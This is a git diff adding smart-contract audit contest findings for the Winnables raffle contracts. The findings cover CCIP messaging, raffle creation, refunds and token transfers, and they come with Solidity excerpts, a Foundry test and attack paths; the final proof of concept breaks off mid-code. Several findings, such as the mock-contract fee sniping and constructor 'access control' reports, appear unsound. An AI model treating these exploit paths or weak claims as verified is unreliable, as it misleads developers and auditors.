Path + +1. Attacker calls `WinnablesTicketManager.sol::buyTickets(...)` function to mint tickets to participate in the raffle +2. Attacker pass 0 native tokens while calling the `buyTickets(...)` to successfully register for a raffle. + + + +### Impact + +- With out contributing to the raffle, the caller is able to successfully register for participation +- The participation is at par with other users who also registered for participation in the raffle. + +### PoC + +_No response_ + +### Mitigation + +Native tokens are passed is as the commitment for the participation in the raffle. The logic should be enforcing to make the participant contribute to the form of native tokens. There should be a validation logic to ensure that caller commits to the raffle by contributing the native tokens. + +In the absence of commitment, the call should revert. \ No newline at end of file diff --git a/201.md b/201.md new file mode 100644 index 0000000..3beb836 --- /dev/null +++ b/201.md @@ -0,0 +1,56 @@ +Tame Pebble Caribou + +Medium + +# The shouldDrawRaffle and shouldCancelRaffle functions do not return false. + +## Summary +The `shouldDrawRaffle` and `shouldCancelRaffle` functions do not return `false`. +## Vulnerability Detail +The `shouldDrawRaffle` and `shouldCancelRaffle` functions do not return `false`,When the function does not meet the conditions, it will be directly `revert`, and the caller will be `revert`, which may cause unknown errors to the caller. +```solidity + function shouldDrawRaffle(uint256 raffleId) external view returns(bool) { + _checkShouldDraw(raffleId); + return true; + } + + /// @notice (Public) Check if a raffle should be canceled + /// @param raffleId Raffle ID + /// @return true if the raffle should be canceled, false otherwise + function shouldCancelRaffle(uint256 raffleId) external view returns(bool) { + _checkShouldCancel(raffleId); + return true; + } + + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } + + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` +## Impact +The third party contract may not be executed properly. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L152-L163 +## Tool used + +Manual Review + +## Recommendation +Add `false` returns to the functions `shouldDrawRaffle` and `shouldCancelRaffle`, instead of `revert` directly. \ No newline at end of file diff --git a/203.md b/203.md new file mode 100644 index 0000000..5120c54 --- /dev/null +++ b/203.md @@ -0,0 +1,83 @@ +Savory Cream Lion + +Medium + +# Protocol will pay too much for CCIP + +### Summary + +CCIP's fees are related to gasLimit https://docs.chain.link/ccip/billing#billing-mechanism. In the code of this project, the default `gasLimit` of 200,000 is used when calling CCIP, while the logic in `ccipReceive` is simple and does not require so much gas. Therefore, the protocol will overpay a lot of unnecessary fees. + +### Root Cause + +In `_sendCCIPMessage`, the `extraArgs` in the CCIP message is empty, which means the default `gasLimit` of 200000 is used. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L28-L34 +```solidity + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); +``` + +https://docs.chain.link/ccip/best-practices#using-extraargs +> If extraArgs are left empty, a default of 200000 gasLimit will be set. + +In `ccipReceive`, the logic is simple, involving only update to a little storage and no external call, does not require so much gas. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +For example: the following transaction involving multiple external calls through Uniswap swap only consumed 130,000+ gas. In our project, the code has no external calls and the updated storage is also very little, so it will consume even less gas. +https://app.blocksec.com/explorer/tx/eth/0x77ca66087ecf8541ec86b2be127281305d1a1c0d50eeae6ce62ce7368208ab66 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Each time send a message to CCIP, the protocol will be charged an unnecessary fee. + +### Impact + +The protocol will overpay a lot of unnecessary fees. + +### PoC + +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L28-L34 +- https://docs.chain.link/ccip/best-practices#using-extraargs +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 +- https://app.blocksec.com/explorer/tx/eth/0x77ca66087ecf8541ec86b2be127281305d1a1c0d50eeae6ce62ce7368208ab66 + +### Mitigation + +According to CCIP's recommendation, estimate and set gasLimit. +https://docs.chain.link/ccip/best-practices#setting-gaslimit \ No newline at end of file diff --git a/206.md b/206.md new file mode 100644 index 0000000..987f084 --- /dev/null +++ b/206.md @@ -0,0 +1,133 @@ +Zesty Tiger Robin + +Medium + +# WinnablesTicketManager.createRaffle() will always fail as it assumes the non-existent raffle has a status of PRIZE_LOCKED instead of NONE. + +### Summary + +```WinnablesTicketManager.createRaffle()``` will always fail as it assumes the non-existent raffle has a status of PRIZE_LOCKED instead of NONE.. This means, no raffle can be created. + +### Root Cause + +Check the non-existence of a raffle by + +```javascript +if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); +``` + +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +WE this function is called, it will always fail. + +### Impact + +```WinnablesTicketManager.createRaffle()``` will always fail as it assumes the non-existent raffle has a status of PRIZE_LOCKED instead of NONE.. This means, no raffle can be created. + +### PoC + +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {console2} from "forge-std/console2.sol"; +import {WinnablesTicket} from "../contracts/WinnablesTicket.sol"; +import {WinnablesPrizeManager} from "../contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicketManager} from "../contracts/WinnablesTicketManager.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +import "../contracts/interfaces/IWinnables.sol"; + +contract RaffleTest is Test { + WinnablesTicket winnablesTicket; + WinnablesPrizeManager winnablesPrizeManager; + WinnablesTicketManager winnablesTicketManager; + + address _linkToken = 0x514910771AF9Ca656af840dff83E8264EcF986CA; + address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; + address _vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909; + uint64 _subscriptionId = 8403; + bytes32 _keyHash = 0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef; + address _ccipRouter = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D; + uint256 chainSelector = 5009297550715157269; + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + + + winnablesTicket = new WinnablesTicket(); + winnablesPrizeManager = new WinnablesPrizeManager(_linkToken, _ccipRouter); + winnablesTicketManager = new WinnablesTicketManager(_linkToken, _vrfCoordinator, _subscriptionId, _keyHash, address(winnablesTicket), _ccipRouter); + + console2.log("WinnablesTicket: ", address(winnablesTicket)); + console2.log("winnnablesPrizeManager: ", address(winnablesPrizeManager)); + console2.log("winnablesTicketManager: ", address(winnablesTicketManager)); + + console2.log("EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\n"); + } + + function printRaffle(uint256 raffleId) public view{ + ( + uint64 startsAt, + uint64 endsAt, + uint32 minTicketsThreshold, + uint32 maxTicketSupply, + uint32 maxHoldings, + uint256 totalRaised, + IWinnables.RaffleStatus status, + uint256 chainlinkRequestId + ) = winnablesTicketManager.getRaffle(raffleId); + console2.log("=================================================================="); + console2.log("raffle info: "); + console2.log("raffleId: ", raffleId); + console2.log("startsAt: ", startsAt); + console2.log("endsAt: ", endsAt); + console2.log("minTicketsThreashold: ", minTicketsThreshold); + console2.log("maxTicketSupply: ", maxTicketSupply); + console2.log("maxHoldings: ", maxHoldings); + console2.log("totalRaised: ", totalRaised); + console2.log("status: ", uint256(status)); + console2.log("chainlinkRequestId: ", chainlinkRequestId); + console2.log("=================================================================="); + + + } + + function testRaffle1() public { + skip( 1 days); + console2.log("blocktimestamp: ", block.timestamp); + vm.expectRevert(); + winnablesTicketManager.createRaffle( + 123, + uint64(block.timestamp - 100), + uint64(block.timestamp + 2 days), + 10, + 100, + 3 + ); + + printRaffle(123); + } + +} + +``` + +### Mitigation + +Change the if statement to: + +```javascript +if (raffle.status != RaffleStatus.NONE) revert PrizeNotLocked(); +``` \ No newline at end of file diff --git a/218.md b/218.md new file mode 100644 index 0000000..71cf6b4 --- /dev/null +++ b/218.md @@ -0,0 +1,48 @@ +Recumbent Ultraviolet Ram + +Medium + +# `safeTransfer()` will not work for tokens like USDT + +## Summary +`safeTransfer()` is used for transferring the rewards of winner. However this will not work for some tokens like USDT, which will result in a loss for users +## Vulnerability Detail +In the function [claimPrize](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105), if the raffle type is TOKEN, the reward is sent to the winner by _sendTokenPrize(): +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +In the function `_sendTokenPrize()`, `safeTransfer` is used, which is a good practice in terms of adding a layer of safety by checking the return value . +```solidity + function _sendTokenPrize(address token, uint256 amount, address winner) internal { + IERC20(token).safeTransfer(winner, amount); + } +``` + However `safeTransfer` will not work for some tokens that the protocol intents to use. `safeTransfer` checks whether the data returned from the call is empty. If it's empty and the call didn’t revert, it assumes that the transfer was successful. That is exactly the case with USDT, since USDT transfer returns void instead of a success boolean. Considering the protocol obviously states that USDT+USDC will be used, and the CLAIMED will be set to the status of the winner in the `claimPrize()`(Assuming the function is fixed: Navigato to my [previous sub](https://github.com/sherlock-audit/2024-08-winnables-raffles-oxwhite/issues/1)), users will end up losing their reward. +## Impact +Users will face a loss. +## Code Snippet + https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L308 +## Tool used +Manual Review +## Recommendation +I would recommend to put additional check like implementing balanceBefore/After of the winner to verify winner's balance has actually increased by the expected amount \ No newline at end of file diff --git a/221.md b/221.md new file mode 100644 index 0000000..852ff91 --- /dev/null +++ b/221.md @@ -0,0 +1,45 @@ +Keen Cloth Crab + +Medium + +# Attacker will move back a victim request + +### Summary + + Potential for Fee Sniping Attacks (The contract does not have a mechanism to prevent front-running or fee sniping) + +### Root Cause + +linking https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/mock/VRFCoordinatorV2BetterMock.sol#L56 + - Path: `/2024-08-winnables-raffles-txtmalw-main/public-contracts/contracts/mock/VRFCoordinatorV2BetterMock.sol` + - Lines Involved: 56 - 61 +- Input Values: The fee configurations and fallback Wei per Unit Link + + An attacker can submit a request right before the victim's request, paying the same or higher fees, thus pushing the victim's request back in the queue. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Monitor current trasaction +2. Define transaction in queue target +3. execute transaction with major fee value + +### Impact + + A malicious user can repeatedly front-run and outbid other users, artificially increasing their transaction priority and potentially denying service to others. + +### PoC + +_No response_ + +### Mitigation + +Implement a mechanism that prevents fee sniping, such as first-in-first-served (FIFS) ordering or dynamic fee bidding with an anti-sniping buffer. \ No newline at end of file diff --git a/222.md b/222.md new file mode 100644 index 0000000..b04de9d --- /dev/null +++ b/222.md @@ -0,0 +1,129 @@ +Expert Cloud Goldfish + +High + +# Unability to re-send CCIP txs risks frozen funds forever + +### Summary + +If a re-org occures in desitantion chain after the `Commitment-DON` commits, the `RMN` network will curse CCIP and halt operations until owner resolves the curse. In this case the prize risks to be locked forever in source chain, as you might have to re-send tx from source chain yet the functions that do this in source chain are only callable once per raffle. + +### Root Cause + +You should be able to re-send some messages from Avalanche to Ethereum in case of re-orgs during CCIP txs. This is only 1 way because finalization time in Avalanche is milliseonds and block creation time is around 2s, so the likelyhood of a re-org is very low or actually non-existant. + +### Internal pre-conditions + +Does not apply. + + +### External pre-conditions + +- `Commitment-DON` executes tx in destination chain but latter a re-org occures and that tx gets errased. + +- `RMN` and owner of RMN can only resolve the curse, which means lifting it and can't change the commitment on destination. + +### Attack Path + +#### 1️⃣ cancelRaffle() +1. Admins `cancelRaffle()` on Avalanvche and a CCIP message is sent to ETH. That `raffleID` in Avalanche is marked as `CANCELLED` (see [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L281)) so future calls to `cancelRaffle()` will revert [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L437). This tx reaches finality in Avalanche. +2. Now `Commitment-DON` see that it is safe to commit the txs from source chain to destination chain and it does it so. Yet `Commitment-DON` only commits once and does not care about re-orgs in destination chain. +3. A re-org happens in destination chain and removes the tx where `Commitment-DON` commited. +4. `RMN` (`Risk-Magement-Network-DON`), will see discrepancies in commitments in source and destination chain and curse CCIP halting operations until owner resolves the curse. +5. All is resolved and operations are back to normal, yet the commitment is not there anymore. So you have to re-send the `cancelRaffle()` tx from Avalanche. +6. You cant re-send a `cancelRaffle()` tx from Avalanche as now the raffle is marked in Avalanche as `CANCELED` from step `1`. Prize is locked forever in ethereum. + +#### 2️⃣ propagateRaffleWinner() +1. Admins `propagateRaffleWinner()` on Avalanvche and a CCIP message is sent to ETH. That `raffleID` in Avalanche is marked as `PROPAGATED` [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L337) so future calls to `propagateRaffleWinner()` will revert [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L336). +2. Same steps from previous example until step 5. +5. Now you try re-send the tx yet it reverts as the raffle is marked as `PROPAGATED` in Avalanche. Prize is locked forever in ethereum. + +### Impact + +Prizes locked forever, beause of unablity to cancel raffles or for a winner to claim them. + + +### PoC + +This is based on how CCIP can work, in their docs [here](https://docs.chain.link/ccip) they have a purposely trained AI to answer questions about the code. These are the question you can ask them to verify that all assumptions that lead to this problem about CCIP. + +I've asked chainlink devs about this, yet I have not received an answer and the contest ends tomorrow. + +The AI is in their search bar at top right of the screen, you should be able to press `Ctrl + K` to open it if you can't find it. + +Copy pate the questions on their AI, they will provide also links in the docs related to the answers. The AI should answer something similar to what it did to me: + +```plaintext +QUESTION: + +Commitment-DON submits the Merkle root commitment to the destination chain, yet there is a chance of a re-org happening on the destination chain. The RMN will detect this as the roots differ between the source and destination chains, causing CCIP to halt operations. Later, the owner of the RMN will decide to resolve the issue when all problems seem to have been mitigated. After that, everything will be working again, but the commitment sent by the Commitment-DON will still be erased from the destination chain along with the transaction it represented. Therefore, the senders of those transactions will need to re-send them from the source chain again. + +ANSWER: +Based on the information provided in the knowledge sources, the Chainlink Cross-Chain Interoperability Protocol (CCIP) has a robust system in place to handle potential issues such as reorganizations on the destination chain. +The Risk Management Network (RMN) is a secondary validation service that monitors all Merkle roots of messages committed on each destination chain by the Committing Decentralized Oracle Network (DON). It independently reconstructs the Merkle tree by fetching all messages on the source chain and checks for a match between the Merkle root committed by the Committing DON and the root of the reconstructed Merkle tree. If both Merkle roots match, the RMN blesses the root to the Risk Management contract on the destination chain. +However, if the RMN detects an anomaly, such as a deep reorganization which violates the safety parameters set by the Risk Management configuration (finality violation), it will curse the CCIP system. After a quorum of votes has been met, the Risk Management contract dubs the CCIP system cursed. CCIP will automatically pause on that chain and wait until the contract owner assesses the situation before potentially lifting the curse. +The knowledge sources do not provide specific information on what happens to the commitments sent by the Committing DON that were erased from the destination chain along with the transaction they represented due to a reorganization. However, given the robustness of the system, it's reasonable to assume that there are mechanisms in place to handle such situations. For a more accurate answer, it would be best to refer to the official Chainlink documentation or reach out to the Chainlink team. + +QUESTION 2: +Okay so lets break it down in simpler questions to asses the possibility. Does the commitment-DON only send the commitment once? This meaning if re-org happens in destination chain it will not send the commitment again. Second question: does RMN or its owner have the ability to change the merkle root commitment on destination chain? + +ANSWER 2: +Based on the information provided in the knowledge sources: +The Committing Decentralized Oracle Network (DON) monitors events from a given OnRamp contract on the source blockchain, waits for finality, bundles transactions, creates a Merkle root, and writes the Merkle root to the CommitStore contract on the destination blockchain. The knowledge sources do not specify whether the Committing DON will resend the commitment if a reorganization happens on the destination chain. However, it's reasonable to assume that the Committing DON would need to monitor the finality of the destination blockchain and react accordingly if a reorganization occurs. For a definitive answer, it would be best to refer to the official Chainlink documentation or reach out to the Chainlink team. Source +The Risk Management Network (RMN) monitors the Merkle roots committed by the Committing DON into the Commit Store. Each node in the RMN compares the committed Merkle roots with the transactions received by the OnRamp contract. After verification, it calls the Risk Management contract to "bless" the committed Merkle root. In case of anomalies, each Risk Management node calls the Risk Management contract to "curse" the system. If the cursed quorum is reached, the Risk Management contract is paused to prevent any CCIP transaction from being executed. The knowledge sources do not specify whether the RMN or its owner has the ability to change the Merkle root commitment on the destination chain. + +QUESTION 3: +Is it a viable scenario that given a discrepancy in merkle roots due to re-org in destination chain the RMN curses CCIP and the owner decides to cancel all commitments thus all transactions represented on them have to be re-sent from source chain? + +ANSWER 3: +Based on the information provided in the knowledge sources, the Risk Management Network (RMN) in Chainlink's Cross-Chain Interoperability Protocol (CCIP) has the ability to "curse" the CCIP system if it detects an anomaly, such as a discrepancy in Merkle roots due to a reorganization on the destination chain. This would cause the CCIP system to pause on that chain. +The owner of the Risk Management contract then has the responsibility to assess the situation. If the owner is satisfied that the issues have been resolved, they can revoke the cursing on behalf of Risk Management nodes. However, the knowledge sources do not specify whether the owner has the ability to cancel all commitments, nor do they provide information on what happens to the transactions represented by those commitments. +If a reorganization on the destination chain leads to the cancellation of all commitments, it's plausible that the transactions would need to be re-sent from the source chain. However, this is speculative and for a definitive answer, it would be best to refer to the official Chainlink documentation or reach out to the Chainlink team. +``` + +As you can see the risk is not assured yet its underlying logic makes sense and according to docs, it is plausible. + +Despite all this the unability to re-send txs when they could be actually done just in case a complex protocol like CCIP ends up not being able to deliver the message is essential in this system. As if any small problem arises from normal CCIP operations that ends up with no delivery on the other chain, the prize will be locked forever. + +### Mitigation + +Allow for cancellation of `CANCELED` raffles on avalanche yet not in mainnet. This should not supose any risk as the cancel function only changes 1 state variable in the contract which is the raffle status. Changing and already `CANCELED` status to `CANCELLED` will not have any risk. + +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.CANCELED && callerIsAdmin) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +Notice that if the 1st cross-chain tx succeeded other cross-chain txs with the same `raffleID` will revert [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L282) as the raffle is marked as `CANCELED` in `Ethereum` from the 1st cross-chain tx. Note that you should not allow anyone to re-send a cross-chain tx as a malicious uer could just send this tx a lot of times and consume your `LINK` balance for useless txs so this re-sending tx should be a special admin role. + +All same applies to the `progateRaffleWinner()` function, you should allow for re-sending of this tx in case of re-orgs or any CCIP issue. Notice that in this case the consumption of `LINK` has to be avoided in different ways as by the protocol rules admin should have no control over if the winner receives its price. My recommendation here is to have another variable that gives X tries of re-sending the tx. Re-orgs and multiple continue issues with CCIP are not that frequent and allowing for 5 re-sends should be enough, or maybe just charging the re-sender some money to avoid the consuming funds risk is another mitigation option. + +```diff + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; ++ if (raffle.status != RaffleStatus.FULFILLED || raffle.status != RaffleStatus.PROPAGATED) revert InvalidRaffleStatus(); ++ if(numOfReSend > MAX_NUM_OF_RESENDS) revert MaxNumOfResendsReached(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + // Only fails if default gas sent is reduced maybe + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +This way even if a re-org occures, you can still re-send a cross-chain tx to unlock the prize or set the winner. + +> ⚠️ **Note** 🚧 I'm not completely sure about the 1 direction mentioned in the **Root** section. It makes sense that re-org risk in `Avalanche` is minimal yet just in case similar measures can be applied in that direction of message sending. Competition time is limited and I could not research further, I encourage the dev team to do so or actually implementing these measures in the other direction to on the `lock` functions that send messages `Ethereum->Avalanche`. diff --git a/231.md b/231.md new file mode 100644 index 0000000..d7e220e --- /dev/null +++ b/231.md @@ -0,0 +1,32 @@ +Funny Pickle Grasshopper + +High + +# `_sendCCIPMessage` not validating destination contract and chain selector allows users to pass arbitrary values and leads to message not being delivered to desired contract, which further leads to multiple issues. + +## Summary +- The `_sendCCIPMessage` involves sending a message to a contract on another chain, but it doesn't validate the destination contract address and the chain selector allowing users to pass arbitrary values via the functions: `cancelRaffle` and `propagateRaffleWinner`. +- There are also other functions which depends on `_sendCCIPMessage`, but as they are controlled by admin so it is expected that admin provides the correct input and doesn't do any mistake. +- Therefore, as there are sensitive functions that depends on `_sendCCIPMessage` mentioned in first point, therefore it becomes mandatory to implement a validation on the arbitrary addresses passed, to prevent malicious users passing incorrect addresses which would result in message not being transferred to the destination contract. + +## Vulnerability Detail +- The vulnerability occurs due to not validating arbitrary destination address and chain selector while sending a CCIP message. +- Functions such as `cancelRaffle` and `propagateRaffleWinner` depends on `_sendCCIPMessage` and both of these functions are callable by anyone. +- Both function expects a destination contract address and a chain selector to send the CCIP message, but these addresses are not validated. A malicious user passing arbitrary addresses prevent messages to be received on the desired contract. + +## Impact +- For `cancelRaffle`: A malicious actor passing incorrect addresses would make the message not to be sent to the prize manager contract. The message involves conveying that raffle has been cancelled and to unlock the prize on prize manager, but as no message was transferred, it will get stuck forever in prize manager contract. +- For `propagateRaffleWinner`: A malicious actor passing incorrect addresses would make the message related to announcing a winner not to be sent on prize manager, as a result of which the deserving winner will never be able to claim their prize and the prize will be locked forever in prize manager contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +## Tool used +Manual Review + +## Recommendation +Add a check either in `_sendCCIPMessage` or every function involving arbitrary addresses and chain selectors that depends on `_sendCCIPMessage`, where the check only allows whitelisted destination contract addresses and chain selectors. \ No newline at end of file diff --git a/236.md b/236.md new file mode 100644 index 0000000..d4ad61d --- /dev/null +++ b/236.md @@ -0,0 +1,55 @@ +Huge Fossilized Turtle + +Medium + +# `CCIPClient` `whenHealthy` modifier will lead to stuck `ETH` due to DoSing claim and cancel + +### Summary + +`CCIPClient` has a `whenHealthy` modifier in the `ccipSend()` function, which means it can DoS `_sendCCIPMessage()` calls in `WinnablesTicketManager`. This would be particularly harmful in several scenarios: +1. In case a raffle does not meet the minimum tickets threshold, it must be canceled. However, cancelling sets the status to `CANCELED` and allows users to claim refunds, but also sends a message to `WinnablesPrizeManager` to allow the admins to get their funds back. If the router is not healthy, it will revert. This procedure should be perfomed in a 2 step such that users can get their refunds right away, as they don't need to wait for the ccip router to work. +2. Users buy tickets but the router is DoSed and `WinnablesTicketManager::propagateRaffleWinner()` reverts when calling `_sendCCIPMessage()`. This means that the protocol can never claim its `ETH` although the cross chain message was not required to be successful. A two step procedure would also fix this. + +Scenario 1 breaks the specification in the [readme](https://github.com/sherlock-audit/2024-08-winnables-raffles-0xsimao/tree/main?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made) +> Participants in a raffle that got cancelled can always get refunded + +### Root Cause + +The Chainlink [Router](https://vscode.blockscan.com/ethereum/0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D) has the `whenHealthy` modifier in `ccipSend()`, called in `_sendCCIPMessage()`, which DoSes the router as can be seen in the code linked above in lines 293-296. + +`WinnablesTicketManager` does not deal with the `notHealthy` modifier. + +### Internal pre-conditions + +None. + +### External pre-conditions + +Chainlink pauses the Router. + +### Attack Path + +The examples are given: +**A** +1. Users participate by calling `WinnablesTicketManager::buyTickets()`. +2. Not enough tickets were bought so the raffle should be canceled, but Chainlink DoSes the router. +3. [WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L282-L286) calls the Chainlink router to send a message, but it reverts due to the modifier. Users can not get their refunds back until the Chainlink router is back up. + +**B** + +1. Users participate by calling `WinnablesTicketManager::buyTickets()`. +2. Chainlink DoSes the router after the raffle ends, DoSing [WinnablesTicketManager::propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340). +3. The protocol can not claim the locked `ETH` due to point 2 even though the cross chain message was not required. + +### Impact + +In scenario **A**, users can not claim their refunds until the router is back up. +In **B**, the protocol can not claim the ETH back even though it could be safely retrieved. + +### PoC + +Check the mentioned Chainlink router links and the fact that the code never checks if the router is not healthy before calling `_sendCCIPMessage()`. + +### Mitigation + +The `WinnablesTicketManager::cancelRaffle()` and `WinnablesTicketManager::propagateRaffleWinner()` functions should be split into 2 separate steps, to always make sure users or the protocol can get their funds. \ No newline at end of file diff --git a/245.md b/245.md new file mode 100644 index 0000000..b22ca4a --- /dev/null +++ b/245.md @@ -0,0 +1,59 @@ +Keen Cloth Crab + +High + +# External coordinaton can drain funds + +### Summary + +Funds draining is possible + +### Root Cause + +Lack of Access Control (Lines: 43-51, Input Values: VRF_COORDINATOR, SUBSCRIPTION_ID, KEY_HASH, TICKETS_CONTRACT) + +Impact: If the constructor is called with invalid or malicious input values for these parameters, it could result in contract misuse or failure. +Scenarios: An attacker could potentially deploy a different contract that interacts incorrectly with the VRF Coordinator, Chainlink VRF subscription, or Ticket Collection contracts, leading to unintended consequences. +### + +Link https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L43 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Deploy a malicious contract to abuse the VFR_COORDINATOR address +2. Call the function fundSubscription repeatedly + +### Impact + +A contract fund draining can be performed + +### PoC + +```solidity +contract MaliciousContract { + VRFCoordinatorV2BetterMock public vrfCoordinator; + + constructor(address _vrfCoordinator) public { + vrfCoordinator = VRFCoordinatorV2BetterMock(_vrfCoordinator); + } + + function fundSubscriptions() external { + for (uint64 i = 0; ; i++) { + uint256 requestId = 